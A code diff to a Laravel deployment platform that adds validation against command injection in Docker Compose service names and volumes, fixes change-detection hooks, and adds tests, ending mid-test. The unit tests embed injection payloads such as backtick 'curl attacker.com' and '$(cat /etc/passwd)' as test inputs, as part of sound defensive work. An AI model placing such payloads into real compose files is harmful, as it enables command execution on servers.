diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index 737724d22..b3565a933 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -328,9 +328,23 @@ public function create_service(Request $request)
                 });
             }
             if ($oneClickService) {
-                $service_payload = [
+                $dockerComposeRaw = base64_decode($oneClickService);
+
+                // Validate for command injection BEFORE creating service
+                try {
+                    validateDockerComposeForInjection($dockerComposeRaw);
+                } catch (\Exception $e) {
+                    return response()->json([
+                        'message' => 'Validation failed.',
+                        'errors' => [
+                            'docker_compose_raw' => $e->getMessage(),
+                        ],
+                    ], 422);
+                }
+
+                $servicePayload = [
                     'name' => "$oneClickServiceName-".str()->random(10),
-                    'docker_compose_raw' => base64_decode($oneClickService),
+                    'docker_compose_raw' => $dockerComposeRaw,
                     'environment_id' => $environment->id,
                     'service_type' => $oneClickServiceName,
                     'server_id' => $server->id,
@@ -338,9 +352,9 @@ public function create_service(Request $request)
                     'destination_type' => $destination->getMorphClass(),
                 ];
                 if ($oneClickServiceName === 'cloudflared') {
-                    data_set($service_payload, 'connect_to_docker_network', true);
+                    data_set($servicePayload, 'connect_to_docker_network', true);
                 }
-                $service = Service::create($service_payload);
+                $service = Service::create($servicePayload);
                 $service->name = "$oneClickServiceName-".$service->uuid;
                 $service->save();
                 if ($oneClickDotEnvs?->count() > 0) {
@@ -462,6 +476,18 @@ public function create_service(Request $request)
             $dockerCompose = base64_decode($request->docker_compose_raw);
             $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
 
+            // Validate for command injection BEFORE saving to database
+            try {
+                validateDockerComposeForInjection($dockerComposeRaw);
+            } catch (\Exception $e) {
+                return response()->json([
+                    'message' => 'Validation failed.',
+                    'errors' => [
+                        'docker_compose_raw' => $e->getMessage(),
+                    ],
+                ], 422);
+            }
+
             $connectToDockerNetwork = $request->connect_to_docker_network ?? false;
             $instantDeploy = $request->instant_deploy ?? false;
 
@@ -777,6 +803,19 @@ public function update_by_uuid(Request $request)
             }
             $dockerCompose = base64_decode($request->docker_compose_raw);
             $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
+
+            // Validate for command injection BEFORE saving to database
+            try {
+                validateDockerComposeForInjection($dockerComposeRaw);
+            } catch (\Exception $e) {
+                return response()->json([
+                    'message' => 'Validation failed.',
+                    'errors' => [
+                        'docker_compose_raw' => $e->getMessage(),
+                    ],
+                ], 422);
+            }
+
             $service->docker_compose_raw = $dockerComposeRaw;
         }
 
diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php
index 5cda1dedd..a88a62d88 100644
--- a/app/Livewire/Project/New/DockerCompose.php
+++ b/app/Livewire/Project/New/DockerCompose.php
@@ -37,6 +37,10 @@ public function submit()
                 'dockerComposeRaw' => 'required',
             ]);
             $this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
+
+            // Validate for command injection BEFORE saving to database
+            validateDockerComposeForInjection($this->dockerComposeRaw);
+
             $project = Project::where('uuid', $this->parameters['project_uuid'])->first();
             $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
 
diff --git a/app/Livewire/Project/Service/StackForm.php b/app/Livewire/Project/Service/StackForm.php
index 1961a7985..a0d2699ba 100644
--- a/app/Livewire/Project/Service/StackForm.php
+++ b/app/Livewire/Project/Service/StackForm.php
@@ -101,6 +101,10 @@ public function submit($notify = true)
     {
         try {
             $this->validate();
+
+            // Validate for command injection BEFORE saving to database
+            validateDockerComposeForInjection($this->service->docker_compose_raw);
+
             $this->service->save();
             $this->service->saveExtraFields($this->fields);
             $this->service->parse();
diff --git a/app/Models/Application.php b/app/Models/Application.php
index 28ea17db2..9554d71a7 100644
--- a/app/Models/Application.php
+++ b/app/Models/Application.php
@@ -1109,7 +1109,7 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
             // When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context
             // Replace ' with '\'' to safely escape within single-quoted bash strings
             $escapedCustomRepository = str_replace("'", "'\\''", $customRepository);
-            $base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'";
+            $base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'";
 
             if ($exec_in_docker) {
                 $commands = collect([
@@ -1126,9 +1126,9 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
             }
 
             if ($exec_in_docker) {
-                $commands->push(executeInDocker($deployment_uuid, $base_comamnd));
+                $commands->push(executeInDocker($deployment_uuid, $base_command));
             } else {
-                $commands->push($base_comamnd);
+                $commands->push($base_command);
             }
 
             return [
diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php
index 3abd55e9c..6da4dd4c6 100644
--- a/app/Models/ServerSetting.php
+++ b/app/Models/ServerSetting.php
@@ -79,11 +79,11 @@ protected static function booted()
         });
         static::updated(function ($settings) {
             if (
-                $settings->isDirty('sentinel_token') ||
-                $settings->isDirty('sentinel_custom_url') ||
-                $settings->isDirty('sentinel_metrics_refresh_rate_seconds') ||
-                $settings->isDirty('sentinel_metrics_history_days') ||
-                $settings->isDirty('sentinel_push_interval_seconds')
+                $settings->wasChanged('sentinel_token') ||
+                $settings->wasChanged('sentinel_custom_url') ||
+                $settings->wasChanged('sentinel_metrics_refresh_rate_seconds') ||
+                $settings->wasChanged('sentinel_metrics_history_days') ||
+                $settings->wasChanged('sentinel_push_interval_seconds')
             ) {
                 $settings->server->restartSentinel();
             }
diff --git a/app/Traits/DeletesUserSessions.php b/app/Traits/DeletesUserSessions.php
index a4d3a7cfd..e9ec0d946 100644
--- a/app/Traits/DeletesUserSessions.php
+++ b/app/Traits/DeletesUserSessions.php
@@ -26,7 +26,7 @@ protected static function bootDeletesUserSessions()
     {
         static::updated(function ($user) {
             // Check if password was changed
-            if ($user->isDirty('password')) {
+            if ($user->wasChanged('password')) {
                 $user->deleteAllSessions();
             }
         });
diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php
index 09d4c7549..f2260f0c6 100644
--- a/bootstrap/helpers/parsers.php
+++ b/bootstrap/helpers/parsers.php
@@ -16,6 +16,101 @@
 use Symfony\Component\Yaml\Yaml;
 use Visus\Cuid2\Cuid2;
 
+/**
+ * Validates a Docker Compose YAML string for command injection vulnerabilities.
+ * This should be called BEFORE saving to database to prevent malicious data from being stored.
+ *
+ * @param  string  $composeYaml  The raw Docker Compose YAML content
+ *
+ * @throws \Exception If the compose file contains command injection attempts
+ */
+function validateDockerComposeForInjection(string $composeYaml): void
+{
+    try {
+        $parsed = Yaml::parse($composeYaml);
+    } catch (\Exception $e) {
+        throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e);
+    }
+
+    if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) {
+        throw new \Exception('Docker Compose file must contain a "services" section');
+    }
+    // Validate service names
+    foreach ($parsed['services'] as $serviceName => $serviceConfig) {
+        try {
+            validateShellSafePath($serviceName, 'service name');
+        } catch (\Exception $e) {
+            throw new \Exception(
+                'Invalid Docker Compose service name: '.$e->getMessage().
+                ' Service names must not contain shell metacharacters.',
+                0,
+                $e
+            );
+        }
+
+        // Validate volumes in this service (both string and array formats)
+        if (isset($serviceConfig['volumes']) && is_array($serviceConfig['volumes'])) {
+            foreach ($serviceConfig['volumes'] as $volume) {
+                if (is_string($volume)) {
+                    // String format: "source:target" or "source:target:mode"
+                    validateVolumeStringForInjection($volume);
+                } elseif (is_array($volume)) {
+                    // Array format: {type: bind, source: ..., target: ...}
+                    if (isset($volume['source'])) {
+                        $source = $volume['source'];
+                        if (is_string($source)) {
+                            // Allow simple env vars and env vars with defaults (validated in parseDockerVolumeString)
+                            $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
+                            $isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $source);
+
+                            if (! $isSimpleEnvVar && ! $isEnvVarWithDefault) {
+                                try {
+                                    validateShellSafePath($source, 'volume source');
+                                } catch (\Exception $e) {
+                                    throw new \Exception(
+                                        'Invalid Docker volume definition (array syntax): '.$e->getMessage().
+                                        ' Please use safe path names without shell metacharacters.',
+                                        0,
+                                        $e
+                                    );
+                                }
+                            }
+                        }
+                    }
+                    if (isset($volume['target'])) {
+                        $target = $volume['target'];
+                        if (is_string($target)) {
+                            try {
+                                validateShellSafePath($target, 'volume target');
+                            } catch (\Exception $e) {
+                                throw new \Exception(
+                                    'Invalid Docker volume definition (array syntax): '.$e->getMessage().
+                                    ' Please use safe path names without shell metacharacters.',
+                                    0,
+                                    $e
+                                );
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    }
+}
+
+/**
+ * Validates a Docker volume string (format: "source:target" or "source:target:mode")
+ *
+ * @param  string  $volumeString  The volume string to validate
+ *
+ * @throws \Exception If the volume string contains command injection attempts
+ */
+function validateVolumeStringForInjection(string $volumeString): void
+{
+    // Canonical parsing also validates and throws on unsafe input
+    parseDockerVolumeString($volumeString);
+}
+
 function parseDockerVolumeString(string $volumeString): array
 {
     $volumeString = trim($volumeString);
@@ -212,6 +307,46 @@ function parseDockerVolumeString(string $volumeString): array
         // Otherwise keep the variable as-is for later expansion (no default value)
     }
 
+    // Validate source path for command injection attempts
+    // We validate the final source value after environment variable processing
+    if ($source !== null) {
+        // Allow simple environment variables like ${VAR_NAME} or ${VAR}
+        // but validate everything else for shell metacharacters
+        $sourceStr = is_string($source) ? $source : $source;
+
+        // Skip validation for simple environment variable references
+        // Pattern: ${WORD_CHARS} with no special characters inside
+        $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr);
+
+        if (! $isSimpleEnvVar) {
+            try {
+                validateShellSafePath($sourceStr, 'volume source');
+            } catch (\Exception $e) {
+                // Re-throw with more context about the volume string
+                throw new \Exception(
+                    'Invalid Docker volume definition: '.$e->getMessage().
+                    ' Please use safe path names without shell metacharacters.'
+                );
+            }
+        }
+    }
+
+    // Also validate target path
+    if ($target !== null) {
+        $targetStr = is_string($target) ? $target : $target;
+        // Target paths in containers are typically absolute paths, so we validate them too
+        // but they're less likely to be dangerous since they're not used in host commands
+        // Still, defense in depth is important
+        try {
+            validateShellSafePath($targetStr, 'volume target');
+        } catch (\Exception $e) {
+            throw new \Exception(
+                'Invalid Docker volume definition: '.$e->getMessage().
+                ' Please use safe path names without shell metacharacters.'
+            );
+        }
+    }
+
     return [
         'source' => $source !== null ? str($source) : null,
         'target' => $target !== null ? str($target) : null,
@@ -265,6 +400,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
 
     $allMagicEnvironments = collect([]);
     foreach ($services as $serviceName => $service) {
+        // Validate service name for command injection
+        try {
+            validateShellSafePath($serviceName, 'service name');
+        } catch (\Exception $e) {
+            throw new \Exception(
+                'Invalid Docker Compose service name: '.$e->getMessage().
+                ' Service names must not contain shell metacharacters.'
+            );
+        }
+
         $magicEnvironments = collect([]);
         $image = data_get_str($service, 'image');
         $environment = collect(data_get($service, 'environment', []));
@@ -561,6 +706,33 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
                     $content = data_get($volume, 'content');
                     $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
 
+                    // Validate source and target for command injection (array/long syntax)
+                    if ($source !== null && ! empty($source->value())) {
+                        $sourceValue = $source->value();
+                        // Allow simple environment variable references
+                        $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
+                        if (! $isSimpleEnvVar) {
+                            try {
+                                validateShellSafePath($sourceValue, 'volume source');
+                            } catch (\Exception $e) {
+                                throw new \Exception(
+                                    'Invalid Docker volume definition (array syntax): '.$e->getMessage().
+                                    ' Please use safe path names without shell metacharacters.'
+                                );
+                            }
+                        }
+                    }
+                    if ($target !== null && ! empty($target->value())) {
+                        try {
+                            validateShellSafePath($target->value(), 'volume target');
+                        } catch (\Exception $e) {
+                            throw new \Exception(
+                                'Invalid Docker volume definition (array syntax): '.$e->getMessage().
+                                ' Please use safe path names without shell metacharacters.'
+                            );
+                        }
+                    }
+
                     $foundConfig = $fileStorages->whereMountPath($target)->first();
                     if ($foundConfig) {
                         $contentNotNull_temp = data_get($foundConfig, 'content');
@@ -1178,6 +1350,16 @@ function serviceParser(Service $resource): Collection
     $allMagicEnvironments = collect([]);
     // Presave services
     foreach ($services as $serviceName => $service) {
+        // Validate service name for command injection
+        try {
+            validateShellSafePath($serviceName, 'service name');
+        } catch (\Exception $e) {
+            throw new \Exception(
+                'Invalid Docker Compose service name: '.$e->getMessage().
+                ' Service names must not contain shell metacharacters.'
+            );
+        }
+
         $image = data_get_str($service, 'image');
         $isDatabase = isDatabaseImage($image, $service);
         if ($isDatabase) {
@@ -1575,6 +1757,33 @@ function serviceParser(Service $resource): Collection
                     $content = data_get($volume, 'content');
                     $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
 
+                    // Validate source and target for command injection (array/long syntax)
+                    if ($source !== null && ! empty($source->value())) {
+                        $sourceValue = $source->value();
+                        // Allow simple environment variable references
+                        $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
+                        if (! $isSimpleEnvVar) {
+                            try {
+                                validateShellSafePath($sourceValue, 'volume source');
+                            } catch (\Exception $e) {
+                                throw new \Exception(
+                                    'Invalid Docker volume definition (array syntax): '.$e->getMessage().
+                                    ' Please use safe path names without shell metacharacters.'
+                                );
+                            }
+                        }
+                    }
+                    if ($target !== null && ! empty($target->value())) {
+                        try {
+                            validateShellSafePath($target->value(), 'volume target');
+                        } catch (\Exception $e) {
+                            throw new \Exception(
+                                'Invalid Docker volume definition (array syntax): '.$e->getMessage().
+                                ' Please use safe path names without shell metacharacters.'
+                            );
+                        }
+                    }
+
                     $foundConfig = $fileStorages->whereMountPath($target)->first();
                     if ($foundConfig) {
                         $contentNotNull_temp = data_get($foundConfig, 'content');
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index 35ee54fcf..0f5b6f553 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -104,6 +104,48 @@ function sanitize_string(?string $input = null): ?string
     return $sanitized;
 }
 
+/**
+ * Validate that a path or identifier is safe for use in shell commands.
+ *
+ * This function prevents command injection by rejecting strings that contain
+ * shell metacharacters or command substitution patterns.
+ *
+ * @param  string  $input  The path or identifier to validate
+ * @param  string  $context  Descriptive name for error messages (e.g., 'volume source', 'service name')
+ * @return string The validated input (unchanged if valid)
+ *
+ * @throws \Exception If dangerous characters are detected
+ */
+function validateShellSafePath(string $input, string $context = 'path'): string
+{
+    // List of dangerous shell metacharacters that enable command injection
+    $dangerousChars = [
+        '`' => 'backtick (command substitution)',
+        '$(' => 'command substitution',
+        '${' => 'variable substitution with potential command injection',
+        '|' => 'pipe operator',
+        '&' => 'background/AND operator',
+        ';' => 'command separator',
+        "\n" => 'newline (command separator)',
+        "\r" => 'carriage return',
+        "\t" => 'tab (token separator)',
+        '>' => 'output redirection',
+        '<' => 'input redirection',
+    ];
+
+    // Check for dangerous characters
+    foreach ($dangerousChars as $char => $description) {
+        if (str_contains($input, $char)) {
+            throw new \Exception(
+                "Invalid {$context}: contains forbidden character '{$char}' ({$description}). ".
+                'Shell metacharacters are not allowed for security reasons.'
+            );
+        }
+    }
+
+    return $input;
+}
+
 function generate_readme_file(string $name, string $updated_at): string
 {
     $name = sanitize_string($name);
diff --git a/tests/Feature/DeletesUserSessionsTest.php b/tests/Feature/DeletesUserSessionsTest.php
new file mode 100644
index 000000000..a2bde2eb2
--- /dev/null
+++ b/tests/Feature/DeletesUserSessionsTest.php
@@ -0,0 +1,136 @@
+<?php
+
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Hash;
+
+uses(RefreshDatabase::class);
+
+it('invalidates sessions when password changes', function () {
+    // Create a user
+    $user = User::factory()->create([
+        'password' => Hash::make('old-password'),
+    ]);
+
+    // Create fake session records for the user
+    DB::table('sessions')->insert([
+        [
+            'id' => 'session-1',
+            'user_id' => $user->id,
+            'ip_address' => '127.0.0.1',
+            'user_agent' => 'Test Browser',
+            'payload' => base64_encode('test-payload-1'),
+            'last_activity' => now()->timestamp,
+        ],
+        [
+            'id' => 'session-2',
+            'user_id' => $user->id,
+            'ip_address' => '127.0.0.1',
+            'user_agent' => 'Test Browser',
+            'payload' => base64_encode('test-payload-2'),
+            'last_activity' => now()->timestamp,
+        ],
+    ]);
+
+    // Verify sessions exist
+    expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(2);
+
+    // Change password
+    $user->password = Hash::make('new-password');
+    $user->save();
+
+    // Verify all sessions for this user were deleted
+    expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(0);
+});
+
+it('does not invalidate sessions when password is unchanged', function () {
+    // Create a user
+    $user = User::factory()->create([
+        'password' => Hash::make('password'),
+    ]);
+
+    // Create fake session records for the user
+    DB::table('sessions')->insert([
+        [
+            'id' => 'session-1',
+            'user_id' => $user->id,
+            'ip_address' => '127.0.0.1',
+            'user_agent' => 'Test Browser',
+            'payload' => base64_encode('test-payload'),
+            'last_activity' => now()->timestamp,
+        ],
+    ]);
+
+    // Update other user fields (not password)
+    $user->name = 'New Name';
+    $user->save();
+
+    // Verify session still exists
+    expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1);
+});
+
+it('does not invalidate sessions when password is set to same value', function () {
+    // Create a user with a specific password
+    $hashedPassword = Hash::make('password');
+    $user = User::factory()->create([
+        'password' => $hashedPassword,
+    ]);
+
+    // Create fake session records for the user
+    DB::table('sessions')->insert([
+        [
+            'id' => 'session-1',
+            'user_id' => $user->id,
+            'ip_address' => '127.0.0.1',
+            'user_agent' => 'Test Browser',
+            'payload' => base64_encode('test-payload'),
+            'last_activity' => now()->timestamp,
+        ],
+    ]);
+
+    // Set password to the same value
+    $user->password = $hashedPassword;
+    $user->save();
+
+    // Verify session still exists (password didn't actually change)
+    expect(DB::table('sessions')->where('user_id', $user->id)->count())->toBe(1);
+});
+
+it('invalidates sessions only for the user whose password changed', function () {
+    // Create two users
+    $user1 = User::factory()->create([
+        'password' => Hash::make('password1'),
+    ]);
+    $user2 = User::factory()->create([
+        'password' => Hash::make('password2'),
+    ]);
+
+    // Create sessions for both users
+    DB::table('sessions')->insert([
+        [
+            'id' => 'session-user1',
+            'user_id' => $user1->id,
+            'ip_address' => '127.0.0.1',
+            'user_agent' => 'Test Browser',
+            'payload' => base64_encode('test-payload-1'),
+            'last_activity' => now()->timestamp,
+        ],
+        [
+            'id' => 'session-user2',
+            'user_id' => $user2->id,
+            'ip_address' => '127.0.0.1',
+            'user_agent' => 'Test Browser',
+            'payload' => base64_encode('test-payload-2'),
+            'last_activity' => now()->timestamp,
+        ],
+    ]);
+
+    // Change password for user1 only
+    $user1->password = Hash::make('new-password1');
+    $user1->save();
+
+    // Verify user1's sessions were deleted but user2's remain
+    expect(DB::table('sessions')->where('user_id', $user1->id)->count())->toBe(0);
+    expect(DB::table('sessions')->where('user_id', $user2->id)->count())->toBe(1);
+});
diff --git a/tests/Feature/InstanceSettingsHelperVersionTest.php b/tests/Feature/InstanceSettingsHelperVersionTest.php
new file mode 100644
index 000000000..e731fa8b4
--- /dev/null
+++ b/tests/Feature/InstanceSettingsHelperVersionTest.php
@@ -0,0 +1,81 @@
+<?php
+
+use App\Jobs\PullHelperImageJob;
+use App\Models\InstanceSettings;
+use App\Models\Server;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Queue;
+
+uses(RefreshDatabase::class);
+
+it('dispatches PullHelperImageJob when helper_version changes', function () {
+    Queue::fake();
+
+    // Create user and servers
+    $user = User::factory()->create();
+    $team = $user->teams()->first();
+    Server::factory()->count(3)->create(['team_id' => $team->id]);
+
+    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
+
+    // Change helper_version
+    $settings->helper_version = 'v1.2.3';
+    $settings->save();
+
+    // Verify PullHelperImageJob was dispatched for all servers
+    Queue::assertPushed(PullHelperImageJob::class, 3);
+});
+
+it('does not dispatch PullHelperImageJob when helper_version is unchanged', function () {
+    Queue::fake();
+
+    // Create user and servers
+    $user = User::factory()->create();
+    $team = $user->teams()->first();
+    Server::factory()->count(3)->create(['team_id' => $team->id]);
+
+    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
+    $currentVersion = $settings->helper_version;
+
+    // Set to same value
+    $settings->helper_version = $currentVersion;
+    $settings->save();
+
+    // Verify no jobs were dispatched
+    Queue::assertNotPushed(PullHelperImageJob::class);
+});
+
+it('does not dispatch PullHelperImageJob when other fields change', function () {
+    Queue::fake();
+
+    // Create user and servers
+    $user = User::factory()->create();
+    $team = $user->teams()->first();
+    Server::factory()->count(3)->create(['team_id' => $team->id]);
+
+    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
+
+    // Change different field
+    $settings->is_auto_update_enabled = ! $settings->is_auto_update_enabled;
+    $settings->save();
+
+    // Verify no jobs were dispatched
+    Queue::assertNotPushed(PullHelperImageJob::class);
+});
+
+it('detects helper_version changes with wasChanged', function () {
+    $changeDetected = false;
+
+    InstanceSettings::updated(function ($settings) use (&$changeDetected) {
+        if ($settings->wasChanged('helper_version')) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
+    $settings->helper_version = 'v2.0.0';
+    $settings->save();
+
+    expect($changeDetected)->toBeTrue();
+});
diff --git a/tests/Feature/ServerSettingSentinelRestartTest.php b/tests/Feature/ServerSettingSentinelRestartTest.php
new file mode 100644
index 000000000..7a1c333ca
--- /dev/null
+++ b/tests/Feature/ServerSettingSentinelRestartTest.php
@@ -0,0 +1,139 @@
+<?php
+
+use App\Models\Server;
+use App\Models\ServerSetting;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    // Create user (which automatically creates a team)
+    $user = User::factory()->create();
+    $this->team = $user->teams()->first();
+
+    // Create server with the team
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+    ]);
+});
+
+it('detects sentinel_token changes with wasChanged', function () {
+    $changeDetected = false;
+
+    // Register a test listener that will be called after the model's booted listeners
+    ServerSetting::updated(function ($settings) use (&$changeDetected) {
+        if ($settings->wasChanged('sentinel_token')) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = $this->server->settings;
+    $settings->sentinel_token = 'new-token-value';
+    $settings->save();
+
+    expect($changeDetected)->toBeTrue();
+});
+
+it('detects sentinel_custom_url changes with wasChanged', function () {
+    $changeDetected = false;
+
+    ServerSetting::updated(function ($settings) use (&$changeDetected) {
+        if ($settings->wasChanged('sentinel_custom_url')) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = $this->server->settings;
+    $settings->sentinel_custom_url = 'https://new-url.com';
+    $settings->save();
+
+    expect($changeDetected)->toBeTrue();
+});
+
+it('detects sentinel_metrics_refresh_rate_seconds changes with wasChanged', function () {
+    $changeDetected = false;
+
+    ServerSetting::updated(function ($settings) use (&$changeDetected) {
+        if ($settings->wasChanged('sentinel_metrics_refresh_rate_seconds')) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = $this->server->settings;
+    $settings->sentinel_metrics_refresh_rate_seconds = 60;
+    $settings->save();
+
+    expect($changeDetected)->toBeTrue();
+});
+
+it('detects sentinel_metrics_history_days changes with wasChanged', function () {
+    $changeDetected = false;
+
+    ServerSetting::updated(function ($settings) use (&$changeDetected) {
+        if ($settings->wasChanged('sentinel_metrics_history_days')) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = $this->server->settings;
+    $settings->sentinel_metrics_history_days = 14;
+    $settings->save();
+
+    expect($changeDetected)->toBeTrue();
+});
+
+it('detects sentinel_push_interval_seconds changes with wasChanged', function () {
+    $changeDetected = false;
+
+    ServerSetting::updated(function ($settings) use (&$changeDetected) {
+        if ($settings->wasChanged('sentinel_push_interval_seconds')) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = $this->server->settings;
+    $settings->sentinel_push_interval_seconds = 30;
+    $settings->save();
+
+    expect($changeDetected)->toBeTrue();
+});
+
+it('does not detect changes when unrelated field is changed', function () {
+    $changeDetected = false;
+
+    ServerSetting::updated(function ($settings) use (&$changeDetected) {
+        if (
+            $settings->wasChanged('sentinel_token') ||
+            $settings->wasChanged('sentinel_custom_url') ||
+            $settings->wasChanged('sentinel_metrics_refresh_rate_seconds') ||
+            $settings->wasChanged('sentinel_metrics_history_days') ||
+            $settings->wasChanged('sentinel_push_interval_seconds')
+        ) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = $this->server->settings;
+    $settings->is_reachable = ! $settings->is_reachable;
+    $settings->save();
+
+    expect($changeDetected)->toBeFalse();
+});
+
+it('does not detect changes when sentinel field is set to same value', function () {
+    $changeDetected = false;
+
+    ServerSetting::updated(function ($settings) use (&$changeDetected) {
+        if ($settings->wasChanged('sentinel_token')) {
+            $changeDetected = true;
+        }
+    });
+
+    $settings = $this->server->settings;
+    $currentToken = $settings->sentinel_token;
+    $settings->sentinel_token = $currentToken;
+    $settings->save();
+
+    expect($changeDetected)->toBeFalse();
+});
diff --git a/tests/Feature/ServerSettingWasChangedTest.php b/tests/Feature/ServerSettingWasChangedTest.php
new file mode 100644
index 000000000..ea7987a4b
--- /dev/null
+++ b/tests/Feature/ServerSettingWasChangedTest.php
@@ -0,0 +1,64 @@
+<?php
+
+use App\Models\Server;
+use App\Models\ServerSetting;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+it('wasChanged returns true after saving a changed field', function () {
+    // Create user and server
+    $user = User::factory()->create();
+    $team = $user->teams()->first();
+    $server = Server::factory()->create(['team_id' => $team->id]);
+
+    $settings = $server->settings;
+
+    // Change a field
+    $settings->is_reachable = ! $settings->is_reachable;
+    $settings->save();
+
+    // In the updated hook, wasChanged should return true
+    expect($settings->wasChanged('is_reachable'))->toBeTrue();
+});
+
+it('isDirty returns false after saving', function () {
+    // Create user and server
+    $user = User::factory()->create();
+    $team = $user->teams()->first();
+    $server = Server::factory()->create(['team_id' => $team->id]);
+
+    $settings = $server->settings;
+
+    // Change a field
+    $settings->is_reachable = ! $settings->is_reachable;
+    $settings->save();
+
+    // After save, isDirty returns false (this is the bug)
+    expect($settings->isDirty('is_reachable'))->toBeFalse();
+});
+
+it('can detect sentinel_token changes with wasChanged', function () {
+    // Create user and server
+    $user = User::factory()->create();
+    $team = $user->teams()->first();
+    $server = Server::factory()->create(['team_id' => $team->id]);
+
+    $settings = $server->settings;
+    $originalToken = $settings->sentinel_token;
+
+    // Create a tracking variable using model events
+    $tokenWasChanged = false;
+    ServerSetting::updated(function ($model) use (&$tokenWasChanged) {
+        if ($model->wasChanged('sentinel_token')) {
+            $tokenWasChanged = true;
+        }
+    });
+
+    // Change the token
+    $settings->sentinel_token = 'new-token-value-for-testing';
+    $settings->save();
+
+    expect($tokenWasChanged)->toBeTrue();
+});
diff --git a/tests/Unit/PreSaveValidationTest.php b/tests/Unit/PreSaveValidationTest.php
new file mode 100644
index 000000000..c24cf5f89
--- /dev/null
+++ b/tests/Unit/PreSaveValidationTest.php
@@ -0,0 +1,200 @@
+<?php
+
+test('validateDockerComposeForInjection blocks malicious service names', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  evil`curl attacker.com`:
+    image: nginx:latest
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker Compose service name');
+});
+
+test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/pwn`curl attacker.com`:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - type: bind
+        source: '/tmp/pwn`curl attacker.com`'
+        target: /app
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '$(cat /etc/passwd):/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
